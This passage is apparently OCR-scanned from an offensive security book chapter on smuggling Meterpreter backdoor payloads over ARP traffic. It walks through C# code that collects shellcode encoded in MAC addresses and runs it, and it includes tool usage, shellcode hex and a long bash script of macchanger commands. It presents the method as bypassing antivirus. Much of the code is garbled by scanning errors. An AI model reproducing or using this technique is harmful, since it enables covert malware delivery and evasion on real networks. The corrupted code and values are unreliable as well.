🔁 🥥 🔚 🧉 🎽 💶 💿 🕅	🕹 🕼 🍕 😂 🖉 😼	- 12 🕒 🛄 🖬 🗃	😂 🧰 👸 🔀 🗅 🛱 🎲 🆽 😽 3:48 AM

Picture 14: AV bypassed

Related video 1 : https://youtu.be/qDLicXj7Vuk

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

**Important Points** : for "NativePayload\_ARP" C# Code this section of code is very important so I want to talk about these lines step by step :

```
string temp_arps = "";
string temp_arps_2 = "";
      byte[] mac = new byte[6];
      byte[] temp_mac = new byte[6];
      int maclen = 0;
      bool init = false;
      int init_countdown = 0;
      List<string> MacAddress = new List<string>();
      try
      {
        while (true)
        {
          maclen = mac.Length;
          int _mac = SendArp(ConvertIPToInt32(IPAddress.Parse(Target_IPaddress_ARP_Request)),
ConvertIPToInt32(IPAddress.Parse(local_IPaddress_ARP_Request)), mac, ref maclen);
          System.Threading.Thread.Sleep(1000);
          if (_mac == 0)
          {
            temp_arps = "";
            temp_arps_2 = "";
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write("Found "+" : ");
            string srt_ip = Target_IPaddress_ARP_Request;
            Console Write("Get Mac ==> " + srt_ip + " MacAddress : ");
            foreach (byte item in mac)
            {
              if ((Convert.ToInt32(mac[0]) != 0))
               {
                 /// if first section of MAC address != 00 then show that by Red Color
                 /// this code added for macchanger in linux when this tool sent Unknown Mac to Backdoor system
                 Console.ForegroundColor = ConsoleColor.Red;
              else if ((Convert.ToInt32(mac[0]) == 0))
               {
                 Console.ForegroundColor = ConsoleColor.Green;
              Console.Write(item.ToString("x2") + " ");
              temp_arps += item.ToString("x2");
              temp_arps_2 += item.ToString("x2");
            Console.WriteLine();
            Arps += temp_arps.Remove(0, 2);
            string tmp = temp_arps.Remove(0, 2);
if (MacAddress.Count == 0 && tmp.ToString() != "ffffffffff" && tmp.ToString() != "ff00ff00ff" && init &&
temp_arps_2.ToString().Substring(0, 2) == "00")
            {
              MacAddress.Add(tmp);
              Console ForegroundColor = ConsoleColor .Cyan;
              Console.WriteLine("[" + init_countdown ToString() + "] Dumping Bytes: " +
MacAddress.AsEnumerable().AsQueryable().Last().ToString());
            else
            ł
              /// time to exit and execute Payload ;-/
if (tmp.ToString() == "fffffffff" && init) { break; }
//if (Arps.ToString() == "ffffffffff") { break; }
               /// time to strat and dump Payload ;-/
              if (temp_arps_2.ToString() == "00ff00ff00ff") { init = true; init_countdown++; }
              if(init)
               {
                 if (MacAddress.Capacity != 0 && MacAddress.AsEnumerable().Last().ToString() != tmp && init_countdown > 1 &&
temp_arps_2.ToString().Substring(0, 2) == "00")
                 ł
                   MacAddress.Add(tmp);
                   Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("[" + init_countdown.ToString() + "] Dumping Bytes: " +
MacAddress.AsEnumerable().AsQueryable().Last().ToString());
                 init_countdown++;
              1
            }
          else if (_mac == 67)
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
Console.ForegroundColor = ConsoleColor.DarkGreen;
      Console.Write("NotFound" + " :
                                     ");
      string srt_ip = Target_IPaddress_ARP_Request;
      Console.Write("Get Mac ==> " + srt_ip + " MacAddress : ");
      foreach (byte item in mac)
      ł
       Console.Write(item.ToString("x2") + " ");
      Console.WriteLine();
    temp_mac = mac;
    System Threading Thread Sleep(4000);
  }
catch (Exception e2)
{
  Console.ForegroundColor = ConsoleColor.Gray;
  Console WriteLine("error 2: {0}", e2.Message);
}
```

with this code you will send ARP Request via Local Network Adapter local\_Ipaddress\_ARP\_Request for finding MAC Address for Target System or MacChanger system Target\_Ipaddress\_ARP\_Request. Code 1:

```
int _mac = SendArp(ConvertIPToInt32(IPAddress.Parse(Target_IPaddress_ARP_Request)),
ConvertIPToInt32(IPAddress.Parse(local_IPaddress_ARP_Request)), mac, ref maclen);
```

with this code you will have Flag to Start Dump or "Init = true" so when your ARP Response was equal to Mac-Address "ooffooffooff" then your Code will start to dump Next Mac-Address as Payloads in this case Meterpreter Payload. Code 2:

```
/// time to strat and dump Payload ;-/
if (temp_arps_2.ToString() == "00ff00ff00ff") { init = true; init_countdown++; }
```

this code Will Execute only Once, why Because we have something like this if (MacAddress.Count == 0 so by this Code only you will get First Mac-Address After Flag to Start or (Init=True) Code 3:

this code Made for Time to Exit from Loop and Executing Payloads so this is Flag to Finish when your Mac-Address Response is equal to "ffffffffff".

```
/// time to exit and execute Payload ;-/
if (tmp.ToString() == "ffffffffffffff" && init) { break; }
```

this is "important point" for this code with this section of code you will get every Mac-Addresses if your "init" Flag was true so by this code you will dump all Mac-Address or "Meterpreter Payloads" except "First Payload or Mac-Address" and this code MacAddress.AsEnumerable().Last().ToString() != tmp was for Detecting "Double Mac-Address" also for Sure your "Last" Mac-Address was not Equal to "New" Mac-Address.

Code 5: if (init) { if (MacAddress.Capacity != 0 && MacAddress.AsEnumerable().Last().ToString() != tmp && init\_countdown > 1 && temp\_arps\_2.ToString().Substring(0, 2) == "00") { MacAddress.Add(tmp); Console.ForegroundColor = ConsoleColor.Cyan; Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[" + init\_countdown.ToString() + "] Dumping Bytes: " + MacAddress.AsEnumerable().AsQueryable().Last().ToString()); j init\_countdown++; }

Now we should talk about Payload\_to\_Mac.exe Tool and C# Code for this one , first of all because I talked about how can use this tool in this time I just want to talk about New Switch "LIN" in this tool , for windows System we have Switch "NULL" and for making Script in Linux Systems we have new Switch called : "LIN".

So by this Switch you can have something like "Picture 15" to making "Script" and with this Script your Mac-Changer system will be Linux System .

Code 4:

Part 2 (Inni/Exilitration/Transle	ring rechniques by C#), Cr	hapter 8 : Transfer	ппу васкооог Рау	TOAUS DY ARP TRAILIC	
Syntax : Switch "LIN"					
Step I syntax 0 : c:\> Payl	oad_to_Mac.exe lin				
Step I syntax 1 (Linux) : c	:\> Payload_to_Mac.exe	lin "Payload'	I		
Step   Example 1: c:\> Pa	yload_to_Mac.exe lin "5	fffd583f8007d28	8584157596800	40"	
as can see in "Picture 15"	with this Switch you will	have "Bash-Sc	ript Lines" and ir	this Simple code I use	ed "Ifconfig",
"macchanger" and "Sleep"	commands for creating	and changing y	our LINUX syste	em Mac-Address as "N	lacchanger system".
		Developer Command	Prompt for VS2015		_ 0 ×
C:\Users\damon\Documents\Uisual & 8\5560488\521448\522042 d0508\541848\522042 584158\55754158 2607fd5488 2607fd54892a68010100005741ba28 cc75e5e8730000004883cc104889c24d3 87f048870448897941ba02d9c85ffd58 c7c2f0b5a256ffd5	tudio 2015/Projects/Payload_to fb/7a4a4/d31c94831c06a3c617c022 9418b34884801d64d31c94831c0ac4 152fr005841595a488b12c94bffff 165000ffd55a05415s5054d41c94d3 1c96a0441584889f941ba02d9c85f 3f8007d28584157596800400000415	_Mac\Payload_to_Mac c2041c1c90d4101c1e2 f5d49be7773325f3332 f5d49be7773325f3332 1c0488ffc04889c248ff d583f8007e554883c4 86a005a41ba0b2f0f30	N bin Nebug Yayload to al524151488552086b42 f14c034c24084539d175c 300041564989e64881ecc 204889c141baca064fe0 205e89f66a4041596800 fd5575941ba756e4d61f	_Mac.exe lin fc4883e4f0e8cc0 c48014066178180h020f8572000 858448h402449014066418b0c484 00100004789c549bc02008115cc0a fd54889cXa104184c89c24889f 0000041584889f24831c941ba58a fd549ffcee93cffffff4801c3482	$\begin{array}{l} 0000041514150251564831d26548\\ 0008b40880000004855c974674801\\ 48b401c4901d0418b04884801d041\\ 8380141544989c44c89f1411ba4c77\\ 941ba99a57461ffd585c0740b49fff\\ 453c5ffd54889c34989c74d31c949\\ 9c64885f675b441ffc7586a005949\\ \end{array}$
Payload_to_Mac v1.0 Tool (MacChan Published by Damon Mohammadbagher Warning : You should Runfs Admini Manning : this code tested in Win Manning : Win8 . Win10 Not Tested Step I syntax 0 : Payload_to_Mac Step I syntax 1 (Windows) : Payl Step I syntax 1 (Windows) : Payloa Step I syntax 0 : Payload_to_Mac Step I syntax 0 : Payload_to_Mac Step I syntax 2 : Payload_to_Mac Step II Example 2: Payload_to_Mac Step II syntax 2 : Payload_to_Mac Step II syntax 2 : Payload_to_Mac Step II syntax 2 : Payload_to_Mac	ger> strator this tool for changing 7x64-SP1  exe null oad_to_Mac.exe null "PAYLOAD" .exe null "Sfffd583f8007d28584: .exe lin "PAYLOAD" .exe lin "Sfffd583f8007d285841 .exe Regkey_Parent [00+Payloa .exe 0607 005fffd583f8 "Local address: Class 4D66P72=E325-11CE-BFCI<br nt file for Linux :>	Mac Address 15759680040" 5759680040" d] "Connection Name" Area Connection" -080092BE10318>>			
#1/bin/bash sudo ifconfig eth@ down; sudo mac sudo ifconfig eth@ down; sudo mac	changer — 00:ff:00:ff:00:ff changer — 00:ff:48:83:e4:f0 changer — 00:f6:c.90:00:00 changer — 00:41:51:41:50:52 changer — 00:51:55:41:50:52 changer — 00:51:56:41:50:52	eth0; sudo ifconfig eth0; sudo ifconfig eth0; sudo ifconfig eth0; sudo ifconfig eth0; sudo ifconfig eth0; sudo ifconfig	eth0 up; sleep 10; eth0 up; sleep 10;		

sudo ifconfig eth0 down; sudo macchanger -m 00:e8:cc:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:41:50:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:51:56:48:11:22:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:52:20:48:0b t52:16:48:10:22:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:52:20:48:0b t52:16:48:10:52:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:10:9 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:42:20:48:0b t20:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:42:20:48:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:42:20:48:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:20:40:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:20:40:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:40:40:40:40:40:40:40:40:40:40:40:40:40:	ouuo	Troom To o	Joine would	00000	necounteringor n	00110110100101110 00110) 0000	o rroom rg	00110	cp; croop	<b>TO</b> ,	
sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:41:50:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:51:55:48:31:42 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:85:22:18:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:85:22:18:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:85:22:18:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:85:22:20:48:18: eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:45:10:42:45:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:41:40:21:09:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:41:09:ac:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:20:42:40:41:40:sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:42:20:42:40:40:40:40:40:40:40:40:40:40:40:40:40:	sudo	ifconfig e	ethØ down	sudo	- macchanger -m	00:e8:cc:00:00:00 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:51:56:48:31:42 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:65:48:8b:52:60 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:65:48:8b:52:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:82:52:03:48:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:4b:52:16:40:61:7 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:40:10:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:40:10:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:43:20:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:43:20:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:20:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:20:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:40:41:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:42:40:41:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:41:48:8b:52:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:41:48:8b:52:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:40:66:81:78:80:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:40:66:81:78:80:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:80:40:00:00:40:48; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:80:40:00:00:40:48; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:80:40:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:41:51:41:50:52 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:65:48:8b:52:100 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:8b:52:10:48:0b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:8b:52:10:48:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:8b:52:10:48:0b; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:4b:1:00; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:4b:1:00; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:10:1:0; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:0; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:0; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:1:48:8b:52 sth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:48:8b:52 sth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:30:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:30:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:80:40:40:40:40:40:40:40:40:40:40:40:40:40	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:51:56:48:31:d2 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:48:8b:52:18:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:8b:52:0:48:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:22:50:48:0b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:42:43:41:31:09 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:42:42:02 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:42:02:02 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:42:02:02 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:09:04:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:1:1:09:04:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:48:8b:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:48:8b:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:48:8b:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:01:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:01:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:04:81:81:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:04:81:81:04:05:08: eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:02:02:09:01:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo ma	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:65:48:8b:52:60 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:8b:52:20:48:0b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:72:50:48:0b:12:0; eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:41:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:41:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:10:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:01:00:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:148:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:80:42:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:80:40:40:40:40:40:40:40:40:40:40:40:40:40	sudo	ifconfig e	ethØ down;	sudo	macchanger -m	00:48:8b:52:18:48 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:72:50:48:0F:b7 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:4a:4a:41:31:c9 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:4a:41:11:c9:c0:10:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:c20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:c1:22 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:c1:22 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:c1:22 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:s1:48:8b:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:s1:48:8b:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:21:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:12:8 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:80:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:81:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:81:48:81:40:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:81:48:48:81:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:81:48:48:40:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:48:44:81:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down	sudo	ifconfig e	ethØ down;	sudo	macchanger -m	00:8b:52:20:48:8b eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:4a:4a:4d:31:09 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:11:09:ac:3c eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:11:09:ad:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:11:09:ad:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:11:09:ad:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:11:09:ad:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:48:8h:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:48:8h:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8h:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:10:40:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:10:40:00:00:00:00:00:00:00:00:00:00:00:00	sudo	ifconfig e	ethØ down;	sudo	macchanger -m	00:72:50:48:0f:b7 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:48:31:08:ac:3c eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:7c:08:2c:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:7c:08:2c:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:7c:08:2c:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:7c:08:2c:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:11:61:42:eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:06:61:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:06:08:128 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:02:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:02:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:05:00:00:00:00:00:00:00:00:00:00:00:0	sudo	ifconfig e	ethØ down;	sudo	macchanger -m	00:4a:4a:4d:31:c9 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:61:70:02:20:20 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:02:04:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:48:81:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:48:81:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:61:48:81:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:81:42:61:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:81:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:80:60:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:40:80; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48	sudo	ifconfig e	ethØ down;	sudo	macchanger -m	00:48:31:c0:ac:3c eth0; sud	o ifconfig	ethØ	up; sleep	10;	
